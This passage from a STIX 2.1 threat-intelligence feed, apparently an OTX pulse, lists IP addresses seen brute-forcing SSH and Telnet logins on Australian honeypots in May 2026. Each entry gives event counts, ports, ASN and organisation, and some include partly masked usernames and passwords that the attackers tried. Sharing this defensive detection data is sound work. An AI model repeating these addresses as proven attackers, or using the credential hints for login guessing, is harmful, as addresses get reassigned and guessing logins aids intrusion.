      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--6ee01f40-0515-4def-b7c7-e33f1833250d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.58.122.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 153523. Organisation(s): Ummah Host. Usernames observed (masked): u****u, ***, 3**********4, a***n, d****n. Passwords observed (masked): 1****6, ***, 1******!, 1*****7, 1******8.",
      "id": "indicator--c5a577d2-22d7-4142-a047-4da3bdd40c29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.248.189.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--5962db18-e7c8-4bd9-806f-7f49e584e672",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.137.12.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela.",
      "id": "indicator--dacd31a1-e2e8-46ee-9bae-13cbca1f496c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.200.170.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--57e54a01-28aa-4a84-b9db-5cb1a4014f06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.92.183.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52413. Organisation(s): MADACOM SRL.",
      "id": "indicator--a6c0b4d1-83f8-42be-b3cf-b067cae664e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.220.21.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company. Usernames observed (masked): o****e, u****u, 3**********4, h****p, r**t. Passwords observed (masked): 1*******9, 3***********4, 3**********4, M*******2, P*******1.",
      "id": "indicator--a5fedb25-46b6-497c-afdf-90090784ac45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.110.166.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 122. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, ***, f*****r, g***t. Passwords observed (masked): 1**4, a***n, p******d, 0**************D, 1***5.",
      "id": "indicator--74641351-69cc-4370-bd56-711f4bc80d99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.40.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 285. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, *****, a****4. Passwords observed (masked): *****, 0**************D, *, 1**1, 1****3.",
      "id": "indicator--042f603e-6644-4783-b517-4ecf2426583d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.44.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 387. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, f*****d, ***, a****n. Passwords observed (masked): 1****6, 1******8, p******d, z*******w, 0*************7.",
      "id": "indicator--e141eabc-0d20-4033-b0a7-69bd5e6ae9a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.45.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 162. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, 1**4, ***, c****g. Passwords observed (masked): 1**4, 1***5, 1****6, 3******t, *.",
      "id": "indicator--e5915365-dcbb-4276-b1a1-42559a1b87d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.7.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 15169. Organisation(s): Google LLC.",
      "id": "indicator--61141ba2-ce23-4802-852f-e026b312f911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.216.189.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T01:15:11.000Z",
      "valid_until": "2026-06-08T01:15:09.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): w******3.",
      "id": "indicator--553c4342-6762-4202-b266-5fa424c9b04b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.32.128.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: TW. ASN(s): 17421. Organisation(s): Mobile Business Group.",
      "id": "indicator--5020628e-69e1-4504-a09e-a17fc9e6d486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.70.1.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--666d17d8-a8e5-4773-b7f3-410c24c7cd82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.123.108.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 58470. Organisation(s): IX Peering for Mobilink and Link Direct International..",
      "id": "indicator--81b895a1-856e-439e-9872-a737e8bf465d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.30.116.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7a84a888-197a-403a-9e92-3f40788ffec8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.61.25.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--968ac033-6be6-4211-a9bf-bf7a34da7a92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.144.16.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.177.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--8ea77f06-1b4f-4c44-ad8b-dd16d375b34f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.40.120.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 59625. Organisation(s): Korek Telecom Company for Communications LLC.",
      "id": "indicator--4af6b1a8-1bc6-4dc0-b666-ce5341edfd93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.240.17.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--825795a7-e66a-49df-aa4d-57e8d1fcafe2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.151.111.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--486bf43e-0e57-43b8-bdd5-9a5721437d54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.254.171.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): a*******y.",
      "id": "indicator--eaca0eb6-a6cc-4dc0-b995-4100f8789eeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.95.191.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--783a3bf6-0215-4d50-8bc0-256af7387e20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.89.6.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RS. ASN(s): 44143. Organisation(s): A1 Srbija d.o.o. Beograd.",
      "id": "indicator--076ac59c-06c0-46f1-962e-599c05a29a1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.86.49.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:15:16.000Z",
      "valid_until": "2026-06-08T02:15:08.000Z"
    },
    {
      "created": "2026-05-07T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 23724. Organisation(s): IDC, China Telecommunications Corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--4ca4992b-d3ea-4fca-a2f1-a24e56b63f2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.255.239.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:15:10.000Z",
      "valid_until": "2026-06-08T03:15:08.000Z"
    },
    {
      "created": "2026-05-07T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4117. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u**r, a***n, u****u, d****y. Passwords observed (masked): 1****6, ***, *, p******d, 1**4.",
      "id": "indicator--7fd264c8-e5f1-4c1b-aa53-804b73e41d52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:15:10.000Z",
      "valid_until": "2026-06-08T03:15:08.000Z"
    },
    {
      "created": "2026-05-07T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--fad2d17f-1a77-4dcf-af94-f3b6d7ff74a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.161.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:15:10.000Z",
      "valid_until": "2026-06-08T03:15:08.000Z"
    },
    {
      "created": "2026-05-07T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--60333988-8e10-4cb8-a56d-534008fcf2cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:15:10.000Z",
      "valid_until": "2026-06-08T03:15:08.000Z"
    },
    {
      "created": "2026-05-07T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--cde81d72-4f2c-48e3-9e39-218e4e2825f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.181.96.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:15:10.000Z",
      "valid_until": "2026-06-08T03:15:08.000Z"
    },
    {
      "created": "2026-05-07T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 267773. Organisation(s): AS267773.",
      "id": "indicator--f074e166-05d0-4c02-a4f7-dad2b78d0226",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.170.109.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:15:10.000Z",
      "valid_until": "2026-06-08T03:15:08.000Z"
    },
    {
      "created": "2026-05-07T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--d3a6a7ce-3340-43fa-b478-0180d681c76a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.125.27.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:15:10.000Z",
      "valid_until": "2026-06-08T03:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--dabf08d9-b1cd-47b3-82f6-188c8ca63ceb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.2.225.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:15:10.000Z",
      "valid_until": "2026-06-08T04:15:08.000Z"
    },
    {
      "created": "2026-05-07T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): ***, r**t, u****u. Passwords observed (masked): 1******r, a*******4, p***********n.",
